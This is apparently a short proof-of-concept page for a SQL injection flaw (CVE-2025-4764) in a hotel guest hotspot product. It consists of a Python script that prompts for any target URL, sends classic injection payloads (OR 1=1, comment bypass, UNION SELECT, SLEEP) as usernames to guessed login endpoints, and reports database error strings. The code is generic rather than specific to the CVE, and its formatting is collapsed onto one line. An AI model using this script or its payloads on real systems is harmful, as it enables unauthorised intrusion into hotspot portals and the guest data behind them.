CVE-2025-4764: Aida Hotel Guest Hotspot SQL注入漏洞

# CVE-2025-4764 SQL Injection PoC # Target: Aida Hotel Guest Hotspot <= 22012026 import requests import sys target = input("Enter target URL (e.g., http://target.com): ").strip() # Common injection points in hotspot login/management interfaces test_payloads = [ "' OR '1'='1", "' OR '1'='1' --", "admin' --", "' UNION SELECT NULL--", "' AND SLEEP(5)--" ] print(f"[*] Testing SQL Injection on {target}") print(f"[*] CVE-2025-4764: Hotel Guest Hotspot SQL Injection") for payload in test_payloads: try: # Typical hotspot login endpoint - adjust based on enumeration endpoints = [ "/login", "/auth", "/portal", "/connect", "/hotspot/login" ] for endpoint in endpoints: url = f"{target}{endpoint}" data = { "username": payload, "password": "test" } response = requests.post(url, data=data, timeout=10) # Check for SQL error indicators sql_errors = [ "sql syntax", "mysql", "syntax error", "ora-", "postgresql" ] for error in sql_errors: if error.lower() in response.text.lower(): print(f"[+] VULNERABLE! Payload: {payload} at {endpoint}") print(f"[+] SQL Error detected: {error}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[*] Scan complete. Verify findings manually.")